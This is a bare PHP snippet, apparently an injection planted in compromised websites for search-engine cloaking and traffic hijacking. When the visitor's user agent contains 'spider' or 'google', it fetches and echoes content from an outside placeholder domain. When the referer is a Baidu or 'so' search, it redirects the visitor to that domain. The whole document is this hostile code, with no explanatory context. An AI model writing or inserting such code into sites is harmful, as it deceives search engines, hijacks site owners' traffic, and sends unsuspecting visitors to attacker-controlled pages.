<?php if(strpos($_SERVER['HTTP_USER_AGENT'],"spider")||strpos($_SERVER["HTTP_USER_AGENT"],"google")>-1){ $str=file_get_contents("http://域名.com/");echo $str; } $domain=array('baidu','so'); $fromurl=@strtolower($_SERVER['HTTP_REFERER']); foreach ($domain as $v) { if (strpos($fromurl,$v)!==false) { $target="http://域名.com/index.html"; header("Location:".$target); exit; }}?> |